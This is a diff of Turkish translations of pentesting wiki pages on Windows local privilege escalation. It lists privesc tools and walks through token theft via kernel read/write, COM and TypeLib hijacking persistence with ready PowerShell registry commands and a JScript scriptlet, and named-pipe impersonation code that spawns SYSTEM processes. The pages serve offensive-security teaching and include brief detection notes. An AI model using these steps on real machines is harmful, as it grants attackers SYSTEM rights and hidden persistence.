+[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Temel privesc Windows enumerasyonu**\ +[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~\**\~\~ -- Bilinen privesc zafiyetlerini ara (DEPRECATED for Watson)\ [~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Yerel kontroller **(Admin hakları gerekir)** **Exe** -[**Watson**](https://github.com/rasta-mouse/Watson) -- Bilinen privesc zafiyetlerini arar (VisualStudio kullanılarak derlenmesi gerekir) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ -[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Yanlış yapılandırmaları arayarak host'u enumerate eder (daha çok bilgi toplama aracı, privesc'ten ziyade) (derlenmesi gerekir) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ -[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Birçok yazılımdan kimlik bilgilerini çıkarır (github'da precompiled exe mevcut)**\ -[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- PowerUp'ın C# versiyonu**\ -[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Yanlış yapılandırmaları kontrol eder (github'da precompiled executable). Tavsiye edilmez. Win10'da iyi çalışmıyor.\ -[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Olası yanlış yapılandırmaları kontrol eder (python'dan exe). Tavsiye edilmez. Win10'da iyi çalışmıyor. +[**Watson**](https://github.com/rasta-mouse/Watson) -- Bilinen privesc zafiyetlerini arar (VisualStudio ile derlenmesi gerekir) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ +[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Host'u tarayarak yapılandırma hatalarını arar (daha çok bilgi toplama aracı, privesc'ten ziyade) (derlenmesi gerekir) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ +[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Birçok yazılımdan kimlik bilgilerini çıkarır (GitHub'da ön-derlenmiş exe)**\ +[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- PowerUp'ın C# portu**\ +[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~\**\~\~ -- Yapılandırma hatalarını kontrol eder (GitHub'da ön-derlenmiş executable). Önerilmez. Win10'da iyi çalışmaz.\ +[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Olası yapılandırma hatalarını kontrol eder (python'dan exe). Önerilmez. Win10'da iyi çalışmaz. **Bat** -[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Bu yazıya dayanarak oluşturulmuş araç (accesschk olmadan da çalışabilir ama kullanabilir). +[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Bu gönderiye dayanarak oluşturulmuş araç (doğru çalışması için accesschk'e ihtiyaç yoktur fakat kullanabilir). **Local** -[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- **systeminfo** çıktısını okur ve çalışan exploit önerir (yerel python)\ -[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- **systeminfo** çıktısını okur ve çalışan exploit önerir (yerel python) +[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- **systeminfo** çıktısını okur ve işe yarayan exploit'leri önerir (yerel python)\ +[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- **systeminfo** çıktısını okur ve işe yarayan exploit'leri önerir (yerel python) **Meterpreter** _multi/recon/local_exploit_suggestor_ -Projeyi doğru .NET sürümü kullanarak derlemeniz gerekir ([see this](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Hedef makinede yüklü .NET sürümünü görmek için şunu yapabilirsiniz: +Projeyi doğru .NET sürümü kullanarak derlemeniz gerekir ([buna bakın](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Hedef makinada yüklü .NET sürümünü görmek için şunu yapabilirsiniz: ``` C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line ``` -## References +## Kaynaklar - [http://www.fuzzysecurity.com/tutorials/16.html](http://www.fuzzysecurity.com/tutorials/16.html) - [http://www.greyhathacker.net/?p=738](http://www.greyhathacker.net/?p=738) diff --git a/src/windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md b/src/windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md index e6e070347..8e07c1a67 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md +++ b/src/windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md @@ -4,35 +4,35 @@ ## Genel Bakış -Eğer bir vulnerable driver bir saldırganın arbitrary kernel read ve/veya write primitiflerine erişim sağlayan bir IOCTL sunuyorsa, NT AUTHORITY\SYSTEM yükseltmesi sıklıkla bir SYSTEM erişim token’ı çalınarak gerçekleştirilebilir. Teknik, bir SYSTEM process’in EPROCESS içindeki Token pointer’ını mevcut process’in EPROCESS’ine kopyalar. +Eğer bir vuln driver, saldırgana arbitrary kernel read ve/veya write primitive’leri sağlayan bir IOCTL açıyorsa, NT AUTHORITY\SYSTEM yetkisine yükselme genellikle bir SYSTEM access Token’ı çalarak gerçekleştirilebilir. Teknik, SYSTEM process’in EPROCESS’indeki Token pointer’ını mevcut process’in EPROCESS’ine kopyalar. -Neden işe yarıyor: -- Her process’in, (diğer alanlar arasında) bir Token (aslında token objesine işaret eden bir EX_FAST_REF) içeren bir EPROCESS yapısı vardır. -- SYSTEM process (PID 4) tüm ayrıcalıkları etkin olan bir token’a sahiptir. +Neden işe yarar: +- Her process’in içinde (diğer alanlar arasında) bir Token içeren bir EPROCESS yapısı vardır (aslında bir EX_FAST_REF to a token object). +- SYSTEM process (PID 4) tüm ayrıcalıkları etkinleştirilmiş bir token’a sahiptir. - Mevcut process’in EPROCESS.Token’ını SYSTEM token pointer’ı ile değiştirmek, mevcut process’in hemen SYSTEM olarak çalışmasını sağlar. -> EPROCESS içindeki offset’ler Windows sürümleri arasında değişir. Bunları dinamik olarak (symbols) belirleyin veya sürüme özel sabitler kullanın. Ayrıca EPROCESS.Token’ın bir EX_FAST_REF olduğunu unutmayın (alt 3 bit referans sayacı bayraklarıdır). +> EPROCESS içindeki offset’ler Windows sürümleri arasında değişir. Bunları dinamik olarak belirleyin (symbols) veya sürüme özel sabitler kullanın. Ayrıca EPROCESS.Token’ın bir EX_FAST_REF olduğunu unutmayın (alt 3 bit referans sayacı bayraklarıdır). -## Yüksek seviye adımlar +## Yüksek seviyeli adımlar 1) ntoskrnl.exe base’ini bulun ve PsInitialSystemProcess adresini çözün. -- User mode’dan, yüklü driver base’lerini almak için NtQuerySystemInformation(SystemModuleInformation) veya EnumDeviceDrivers kullanın. +- User mode’dan, yüklenmiş driver bazlarını almak için NtQuerySystemInformation(SystemModuleInformation) veya EnumDeviceDrivers kullanın. - Kernel base’e PsInitialSystemProcess offset’ini (symbols/reversing’den) ekleyerek adresini elde edin. -2) PsInitialSystemProcess’teki pointer’ı okuyun → bu, SYSTEM’in EPROCESS’ine işaret eden bir kernel pointer’ıdır. -3) SYSTEM EPROCESS’inden UniqueProcessId ve ActiveProcessLinks offset’lerini okuyarak EPROCESS yapılarının çift bağlı listesini (ActiveProcessLinks.Flink/Blink) gezin; UniqueProcessId’si GetCurrentProcessId() ile eşit olan EPROCESS’i bulana kadar devam edin. İkisini saklayın: +2) PsInitialSystemProcess’teki pointer’ı okuyun → bu SYSTEM’in EPROCESS’ine işaret eden bir kernel pointer’ıdır. +3) SYSTEM EPROCESS’inden UniqueProcessId ve ActiveProcessLinks offset’lerini okuyarak EPROCESS yapılarını doubly linked list halinde (ActiveProcessLinks.Flink/Blink) dolaşın; UniqueProcessId’nin GetCurrentProcessId() ile eşit olduğu EPROCESS’i bulana kadar devam edin. Her iki adresi saklayın: - EPROCESS_SYSTEM (SYSTEM için) - EPROCESS_SELF (mevcut process için) 4) SYSTEM token değerini okuyun: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset). -- Alt 3 biti maskeleyin: Token_SYS_masked = Token_SYS & ~0xF (genelde ~0xF veya build’e bağlı olarak ~0x7; x64 üzerinde alt 3 bit kullanılır — 0xFFFFFFFFFFFFFFF8 maskesi). -5) Seçenek A (yaygın): Gömülü ref count’ın tutarlı kalması için mevcut token’ınızdaki alt 3 biti koruyup SYSTEM pointer’ına ekleyin. +- Alt 3 biti maskeleyin: Token_SYS_masked = Token_SYS & ~0xF (genelde ~0xF veya build’e bağlı olarak ~0x7; x64’te alt 3 bit kullanılır — 0xFFFFFFFFFFFFFFF8 mask). +5) Seçenek A (yaygın): Gömülü referans sayısını tutarlı kılmak için mevcut token’ınızın alt 3 bitini koruyun ve SYSTEM’in pointer’ına ekleyin. - Token_ME = *(EPROCESS_SELF + TokenOffset) - Token_NEW = (Token_SYS_masked | (Token_ME & 0x7)) -6) Kernel write primitive’inizi kullanarak Token_NEW’i (EPROCESS_SELF + TokenOffset) adresine yazın. -7) Mevcut process’iniz artık SYSTEM. Doğrulamak için isteğe bağlı olarak yeni bir cmd.exe veya powershell.exe spawn edin. +6) Kernel write primitive’inizi kullanarak Token_NEW’i (EPROCESS_SELF + TokenOffset) adresine geri yazın. +7) Mevcut process’iniz artık SYSTEM. Doğrulamak için opsiyonel olarak yeni bir cmd.exe veya powershell.exe spawn edebilirsiniz. -## Pseudocode +## Pseudokod -Aşağıda sadece bir vulnerable driver’dan iki IOCTL kullanan bir iskelet var: biri 8-byte kernel read, diğeri 8-byte kernel write için. Kendi driver arayüzünüzle değiştirin. +Aşağıda sadece vuln driver’dan iki IOCTL kullanan iskelet bir örnek verilmiştir; biri 8-byte kernel read, diğeri 8-byte kernel write içindir. Kendi driver arayüzünüzle değiştirin. ```c #include #include @@ -106,14 +106,14 @@ return 0; } ``` Notlar: -- Ofsetler: Doğru offsetleri elde etmek için hedefin PDBs'iyle veya bir çalışma zamanı sembol yükleyicisi ile WinDbg’in `dt nt!_EPROCESS` komutunu kullanın. Offs etleri körü körüne sabit değer olarak kullanmayın. -- Maske: x64'te token bir EX_FAST_REF'tir; en düşük 3 bit referans sayacı bitleridir. Tokeninizin orijinal düşük bitlerini korumak, anında referans sayacı tutarsızlıklarını önler. -- Kararlılık: Mevcut işlemi yükseltmeyi tercih edin; kısa ömürlü bir yardımcıyı yükseltirseniz, o sonlandığında SYSTEM yetkisini kaybedebilirsiniz. +- Ofsetler: Doğru ofsetleri almak için hedefin PDBs'i ile veya bir runtime symbol loader ile WinDbg’in `dt nt!_EPROCESS` komutunu kullanın. Hardcode yapmayın. +- Maske: x64'te token bir EX_FAST_REF'tir; düşük 3 bit referans sayısı bitleridir. Tokenınızdan orijinal düşük bitleri korumak, anlık refcount tutarsızlıklarını önler. +- Kararlılık: Mevcut süreci yükseltmeyi tercih edin; kısa ömürlü bir yardımcıyı yükseltirseniz, o süreç sonlandığında SYSTEM'i kaybedebilirsiniz. ## Tespit ve hafifletme -- Güçlü IOCTL'ler açığa çıkaran imzasız veya güvenilmez üçüncü taraf sürücülerin yüklenmesi temel nedendir. -- Kernel Driver Blocklist (HVCI/CI), DeviceGuard ve Attack Surface Reduction kuralları savunmasız sürücülerin yüklenmesini engelleyebilir. -- EDR, arbitrary read/write uygulayan şüpheli IOCTL dizilerini ve token swaps için izleme yapabilir. +- Güçlü IOCTLs açığa çıkaran imzalanmamış veya güvenilmeyen üçüncü taraf sürücülerin yüklenmesi temel nedendir. +- Kernel Driver Blocklist (HVCI/CI), DeviceGuard ve Attack Surface Reduction kuralları zayıf sürücülerin yüklenmesini engelleyebilir. +- EDR, arbitrary read/write uygulayan ve token swaps içeren şüpheli IOCTL dizilerini izleyebilir. ## Referanslar - [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) diff --git a/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md b/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md index b0f0d0cc7..c4367d78e 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md +++ b/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md @@ -2,15 +2,15 @@ {{#include ../../banners/hacktricks-training.md}} -### Var olmayan COM bileşenlerini arama +### Mevcut olmayan COM bileşenlerini arama -HKCU değerleri kullanıcılar tarafından değiştirilebildiği için **COM Hijacking** bir **kalıcı mekanizma** olarak kullanılabilir. `procmon` kullanarak, saldırganın kalıcılık sağlamak için oluşturabileceği, aranmış ama var olmayan COM kayıtlarını kolayca bulabilirsiniz. Filtreler: +HKCU değerleri kullanıcılar tarafından değiştirilebildiği için **COM Hijacking**, **kalıcı bir mekanizma** olarak kullanılabilir. `procmon` kullanarak, saldırganın kalıcılık için oluşturabileceği mevcut olmayan COM kayıtlarını bulmak kolaydır. Filtreler: - **RegOpenKey** işlemleri. -- _Result_ **NAME NOT FOUND** olduğunda. -- ve _Path_ **InprocServer32** ile bitiyorsa. +- _Result_ değeri **NAME NOT FOUND** olanlar. +- ve _Path_ **InprocServer32** ile bitenler. -Hangi var olmayan COM'un kimliğini taklit edeceğinize karar verdikten sonra aşağıdaki komutları çalıştırın. _Eğer her birkaç saniyede bir yüklenen bir COM'un kimliğini taklit etmeye karar verirseniz dikkatli olun; bu aşırıya kaçmaya neden olabilir._ +Hangi mevcut olmayan COM'u taklit edeceğinize karar verdikten sonra aşağıdaki komutları çalıştırın. _Her birkaç saniyede bir yüklenen bir COM'u taklit etmeye karar verirseniz dikkatli olun; bu aşırıya kaçabilir._ ```bash New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll" @@ -18,7 +18,7 @@ New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F ``` ### Ele geçirilebilen Task Scheduler COM bileşenleri -Windows Tasks, Custom Triggers kullanarak COM objects çağırır ve Task Scheduler üzerinden çalıştırıldıkları için ne zaman tetikleneceklerini tahmin etmek daha kolaydır. +Windows Tasks, COM objects çağırmak için Custom Triggers kullanır ve Task Scheduler üzerinden çalıştırıldıkları için ne zaman tetikleneceklerini tahmin etmek daha kolaydır.
# Show COM CLSIDs
 $Tasks = Get-ScheduledTask
@@ -49,9 +49,9 @@ Write-Host
 # CLSID:  {1936ED8A-BD93-3213-E325-F38D112938E1}
 # [more like the previous one...]
-Çıktıyı kontrol ederek, örneğin **kullanıcı her oturum açtığında** çalıştırılacak birini seçebilirsiniz. +Çıktıyı kontrol ederek örneğin **her kullanıcı oturum açtığında** çalıştırılacak birini seçebilirsiniz. -Şimdi CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}**'yi **HKEY\CLASSES\ROOT\CLSID** içinde ve HKLM ile HKCU'da aradığınızda, genellikle bu değerin HKCU'da bulunmadığını görürsünüz. +Şimdi CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}**'yi **HKEY\CLASSES\ROOT\CLSID** içinde ve HKLM ile HKCU'da aradığınızda, genellikle değerin HKCU'da bulunmadığını görürsünüz. ```bash # Exists in HKCR\CLSID\ Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}" @@ -72,32 +72,32 @@ Name Property PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist. ``` -Böylece, sadece HKCU girdisini oluşturursunuz ve kullanıcı her oturum açtığında backdoor'unuz tetiklenir. +Sonra, sadece HKCU girdisini oluşturabilir ve her kullanıcı oturum açtığında backdoor'unuz tetiklenecektir. --- ## COM TypeLib Hijacking (script: moniker persistence) -Type Libraries (TypeLib), COM arayüzlerini tanımlar ve `LoadTypeLib()` ile yüklenir. Bir COM sunucusu örneklendiğinde, işletim sistemi ilişkili TypeLib'i `HKCR\TypeLib\{LIBID}` altındaki kayıt defteri anahtarlarına bakarak da yükleyebilir. TypeLib yolu bir **moniker** ile değiştirilirse, ör. `script:C:\...\evil.sct`, TypeLib çözüldüğünde Windows scriptleti çalıştırır — bu da yaygın bileşenlere dokunulduğunda tetiklenen gizli bir persistence sağlar. +Type Libraries (TypeLib), COM arayüzlerini tanımlar ve `LoadTypeLib()` ile yüklenir. Bir COM sunucusu örneklendiğinde, işletim sistemi ayrıca ilişkilendirilmiş TypeLib'i `HKCR\TypeLib\{LIBID}` altındaki kayıt defteri anahtarlarına bakarak yükleyebilir. TypeLib yolu bir **moniker** ile, ör. `script:C:\...\evil.sct`, değiştirildiğinde, TypeLib çözümlendiğinde Windows scriptleti çalıştırır — bu da yaygın bileşenlere dokunulduğunda tetiklenen gizli bir persistence sağlar. -Bu durum, Microsoft Web Browser kontrolü (sıklıkla Internet Explorer, WebBrowser'ı içeren uygulamalar ve hatta `explorer.exe` tarafından yüklenen) üzerinde gözlemlenmiştir. +Bu, Microsoft Web Browser kontrolüne karşı gözlemlenmiştir (sıklıkla Internet Explorer, WebBrowser gömülü uygulamalar ve hatta `explorer.exe` tarafından yüklenir). ### Adımlar (PowerShell) -1) Yüksek frekanslı bir CLSID tarafından kullanılan TypeLib (LIBID)'i belirleyin. Malware zincirleri tarafından sıkça suistimal edilen örnek CLSID: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` (Microsoft Web Browser). +1) Yüksek frekansla kullanılan bir CLSID tarafından kullanılan TypeLib (LIBID) bilgisini tespit edin. Örnek CLSID sıkça kötü amaçlı yazılım zincirleri tarafından kötüye kullanılır: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` (Microsoft Web Browser). ```powershell $clsid = '{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}' $libid = (Get-ItemProperty -Path "Registry::HKCR\\CLSID\\$clsid\\TypeLib").'(default)' $ver = (Get-ChildItem "Registry::HKCR\\TypeLib\\$libid" | Select-Object -First 1).PSChildName "CLSID=$clsid LIBID=$libid VER=$ver" ``` -2) Kullanıcı başına TypeLib yolunu `script:` moniker'ını kullanarak yerel bir scriptlet'e yönlendirin (admin rights gerekmez): +2) Her kullanıcıya ait TypeLib yolunu, `script:` moniker'ını kullanarak yerel bir scriptlet'e yönlendirin (yönetici hakları gerekmez): ```powershell $dest = 'C:\\ProgramData\\Udate_Srv.sct' New-Item -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Force | Out-Null Set-ItemProperty -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Name '(default)' -Value "script:$dest" ``` -3) Birincil payload'ınızı yeniden başlatan minimal bir JScript `.sct` bırakın (örn. ilk zincirde kullanılan bir `.lnk`): +3) Birincil payload'ınızı yeniden başlatan minimal bir JScript `.sct` bırakın (örn. başlangıç zinciri tarafından kullanılan bir `.lnk`): ```xml @@ -114,9 +114,9 @@ sh.Run(cmd, 0, false); ``` -4) Tetikleme – IE'yi açmak, WebBrowser control'ü barındıran bir uygulamayı çalıştırmak veya hatta rutin Explorer etkinliği TypeLib'i yükleyecek ve scriptlet'i çalıştırarak zincirinizi logon/reboot sırasında yeniden etkinleştirecektir. +4) Tetikleme – IE'yi açmak, WebBrowser control'ü gömülü bir uygulamayı başlatmak veya hatta rutin Explorer etkinlikleri TypeLib'i yükleyecek ve scriptlet'i çalıştıracak; böylece oturum açma/yeniden başlatma sırasında zinciriniz yeniden devreye girecektir. -Temizleme +Temizlik ```powershell # Remove the per-user TypeLib hijack Remove-Item -Recurse -Force "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver" 2>$null @@ -124,10 +124,10 @@ Remove-Item -Recurse -Force "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver" 2>$n Remove-Item -Force 'C:\\ProgramData\\Udate_Srv.sct' 2>$null ``` Notlar -- Aynı mantığı diğer sık kullanılan COM bileşenlerine uygulayabilirsiniz; önce `HKCR\CLSID\{CLSID}\TypeLib` anahtarından gerçek `LIBID`'yi çözümleyin. +- Aynı mantığı diğer sık kullanılan COM bileşenlerine de uygulayabilirsiniz; gerçek `LIBID`'yi önce `HKCR\CLSID\{CLSID}\TypeLib`'ten belirleyin. - 64-bit sistemlerde 64-bit tüketiciler için `win64` alt anahtarını da doldurabilirsiniz. -## Kaynaklar +## Referanslar - [Hijack the TypeLib – New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661) - [Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/) diff --git a/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md b/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md index 6b9fc680f..26596bbef 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md +++ b/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md @@ -2,27 +2,27 @@ {{#include ../../banners/hacktricks-training.md}} -Named Pipe client impersonation, bir named-pipe server thread'in ona bağlanan bir client'ın security context'ini benimsemesine izin veren bir local privilege escalation primitive'idir. Pratikte, SeImpersonatePrivilege ile kod çalıştırabilen bir saldırgan, ayrıcalıklı bir client'ı (ör. bir SYSTEM servisi) saldırgan-kontrollü bir pipe'a bağlanmaya zorlayabilir, ImpersonateNamedPipeClient çağırabilir, ortaya çıkan token'ı primary token'a duplicate edebilir ve client olarak (çoğunlukla NT AUTHORITY\SYSTEM) bir process spawn edebilir. +Named Pipe client impersonation, bir named-pipe sunucu iş parçacığının ona bağlanan bir client'ın güvenlik bağlamını üstlenmesini sağlayan bir local privilege escalation primitifidir. Pratikte, SeImpersonatePrivilege ile kod çalıştırabilen bir saldırgan, ayrıcalıklı bir client'ı (ör. bir SYSTEM servisi) saldırgan-kontrolündeki bir pipe'a bağlanmaya zorlayabilir, ImpersonateNamedPipeClient çağrısı yapabilir, ortaya çıkan token'ı primary token olarak DuplicateTokenEx ile çoğaltabilir ve client olarak bir süreç başlatabilir (çoğunlukla NT AUTHORITY\SYSTEM). -Bu sayfa temel tekniğe odaklanır. SYSTEM'i sizin pipe'ınıza zorlayan uçtan uca exploit zincirleri için aşağıda referans verilen Potato family sayfalarına bakın. +Bu sayfa temel tekniğe odaklanır. SYSTEM'i pipe'ınıza bağlamaya zorlayan uçtan uca exploit zincirleri için aşağıda referans verilen Potato family sayfalarına bakın. ## TL;DR -- Create a named pipe: \\.\pipe\ ve bağlantı bekleyin. -- Bir ayrıcalıklı bileşeni buna bağlayın (spooler/DCOM/EFSRPC/etc.). -- Pipe'dan en az bir mesaj okuyun, sonra ImpersonateNamedPipeClient çağırın. -- Open the impersonation token from the current thread, DuplicateTokenEx(TokenPrimary) ve CreateProcessWithTokenW/CreateProcessAsUser ile bir SYSTEM process elde edin. +- Bir named pipe oluşturun: \\.\pipe\ ve bir bağlantı bekleyin. +- Ayrıcalıklı bir bileşenin ona bağlanmasını sağlayın (spooler/DCOM/EFSRPC/vesaire). +- Pipe'tan en az bir mesaj okuyun, sonra ImpersonateNamedPipeClient çağrısı yapın. +- Mevcut iş parçacığından impersonation token'ını açın, DuplicateTokenEx(TokenPrimary) yapın ve CreateProcessWithTokenW/CreateProcessAsUser ile SYSTEM süreci elde edin. ## Requirements and key APIs -- Privileges typically needed by the calling process/thread: +- Çağıran process/thread tarafından tipik olarak gereken ayrıcalıklar: - SeImpersonatePrivilege, bağlanan bir client'ı başarılı şekilde impersonate etmek ve CreateProcessWithTokenW kullanmak için. -- Alternatif olarak, SYSTEM'i impersonate ettikten sonra CreateProcessAsUser kullanabilirsiniz; bu, SeAssignPrimaryTokenPrivilege ve SeIncreaseQuotaPrivilege gerektirebilir (bunlar SYSTEM'i impersonate ederken karşılanır). -- Core APIs used: +- Alternatif olarak, SYSTEM'i impersonate ettikten sonra CreateProcessAsUser kullanabilirsiniz; bu SeAssignPrimaryTokenPrivilege ve SeIncreaseQuotaPrivilege gerektirebilir (bunlar SYSTEM'i impersonate ederken sağlanır). +- Kullanılan temel API'ler: - CreateNamedPipe / ConnectNamedPipe -- ReadFile/WriteFile (impersonation'dan önce en az bir mesaj okunmalıdır) +- ReadFile/WriteFile (impersonasyondan önce en az bir mesaj okunmalıdır) - ImpersonateNamedPipeClient ve RevertToSelf - OpenThreadToken, DuplicateTokenEx(TokenPrimary) - CreateProcessWithTokenW veya CreateProcessAsUser -- Impersonation level: yerelde faydalı işlemler yapabilmek için client, SecurityImpersonation'a izin vermelidir (birçok local RPC/named-pipe client için varsayılan). Client'lar pipe'ı açarken SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION ile bunu düşürebilir. +- Impersonation seviyesi: yerel olarak faydalı işlemler yapabilmek için client, SecurityImpersonation'a izin vermelidir (birçok yerel RPC/named-pipe client için varsayılan). Client'lar pipe'ı açarken SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION ile bunu düşürebilirler. ## Minimal Win32 workflow (C) ```c @@ -69,11 +69,11 @@ return 0; } ``` Notlar: -- Eğer ImpersonateNamedPipeClient ERROR_CANNOT_IMPERSONATE (1368) döndürürse, önce pipe'tan okuduğunuzdan ve istemcinin impersonation'ı Identification seviyesine kısıtlamadığından emin olun. -- Process oluşturmak için uygun bir primary token oluşturmak amacıyla DuplicateTokenEx'i SecurityImpersonation ve TokenPrimary ile tercih edin. +- Eğer ImpersonateNamedPipeClient ERROR_CANNOT_IMPERSONATE (1368) döndürürse, önce pipe'tan okuduğunuzdan ve istemcinin impersonation'ı Identification level ile sınırlamadığından emin olun. +- Process oluşturma için uygun bir primary token yaratmak amacıyla DuplicateTokenEx'i SecurityImpersonation ve TokenPrimary ile tercih edin. -## .NET quick example -In .NET, NamedPipeServerStream can impersonate via RunAsClient. Once impersonating, duplicate the thread token and create a process. +## .NET hızlı örnek +.NET'te NamedPipeServerStream RunAsClient aracılığıyla impersonate edebilir. Impersonate edildikten sonra thread token'ı duplicate edip bir process oluşturun. ```csharp using System; using System.IO.Pipes; using System.Runtime.InteropServices; using System.Diagnostics; class P { @@ -93,13 +93,13 @@ Process pi; CreateProcessWithTokenW(p, 2, null, null, 0, IntPtr.Zero, null, ref } } ``` -## Common triggers/coercions to get SYSTEM to your pipe -Bu teknikler ayrıcalıklı servisleri sizin named pipe'ınıza bağlanmaya zorlayarak onları taklit etmenizi sağlar: +## SYSTEM'i pipe'ınıza bağlatmak için yaygın tetikleyiciler/zorlama yöntemleri +Bu teknikler, ayrıcalıklı hizmetleri sizin named pipe'ınıza bağlanmaya zorlayarak onları taklit etmenizi sağlar: - Print Spooler RPC trigger (PrintSpoofer) - DCOM activation/NTLM reflection variants (RoguePotato/JuicyPotato[NG], GodPotato) - EFSRPC pipes (EfsPotato/SharpEfsPotato) -See detailed usage and compatibility here: +Ayrıntılı kullanım ve uyumluluk için bakınız: - {{#ref}} @@ -110,24 +110,24 @@ roguepotato-and-printspoofer.md juicypotato.md {{#endref}} -If you just need a full example of crafting the pipe and impersonating to spawn SYSTEM from a service trigger, see: +Eğer sadece pipe'ı oluşturma ve bir hizmet tetikleyicisinden SYSTEM oluşturmak için taklit etme konusunda tam bir örneğe ihtiyacınız varsa, bakınız: - {{#ref}} from-high-integrity-to-system-with-name-pipes.md {{#endref}} -## Troubleshooting and gotchas -- ImpersonateNamedPipeClient çağırmadan önce pipe'dan en az bir mesaj okumalısınız; aksi takdirde ERROR_CANNOT_IMPERSONATE (1368) alırsınız. -- Eğer istemci SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION ile bağlanırsa, sunucu tam olarak taklit edemez; token’ın impersonation level’ını GetTokenInformation(TokenImpersonationLevel) ile kontrol edin. -- CreateProcessWithTokenW çağıranın SeImpersonatePrivilege sahibi olmasını gerektirir. Eğer bu ERROR_PRIVILEGE_NOT_HELD (1314) ile başarısız olursa, önce SYSTEM'i taklit ettikten sonra CreateProcessAsUser kullanın. -- Pipe’inizin security descriptor'ünün, sertleştirirseniz hedef servisin bağlanmasına izin verdiğinden emin olun; varsayılan olarak, \\.\pipe altındaki pipe'lar server’ın DACL'ine göre erişilebilirdir. +## Sorun giderme ve tuzaklar +- ImpersonateNamedPipeClient çağırmadan önce pipe'tan en az bir mesaj okumalısınız; aksi takdirde ERROR_CANNOT_IMPERSONATE (1368) alırsınız. +- Eğer client SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION ile bağlanırsa, server tam olarak taklit edemez; token'ın impersonation seviyesini GetTokenInformation(TokenImpersonationLevel) ile kontrol edin. +- CreateProcessWithTokenW çağıran üzerinde SeImpersonatePrivilege gerektirir. Bu ERROR_PRIVILEGE_NOT_HELD (1314) ile başarısız olursa, zaten SYSTEM'i taklit ettikten sonra CreateProcessAsUser kullanın. +- Pipe'ınızın security descriptor'ının hedef servisin bağlanmasına izin verdiğinden emin olun; sertleştirirseniz dikkat edin. Varsayılan olarak, \\.\pipe altındaki pipe'lar server'ın DACL'sine göre erişilebilirdir. -## Detection and hardening -- Named pipe oluşturulmasını 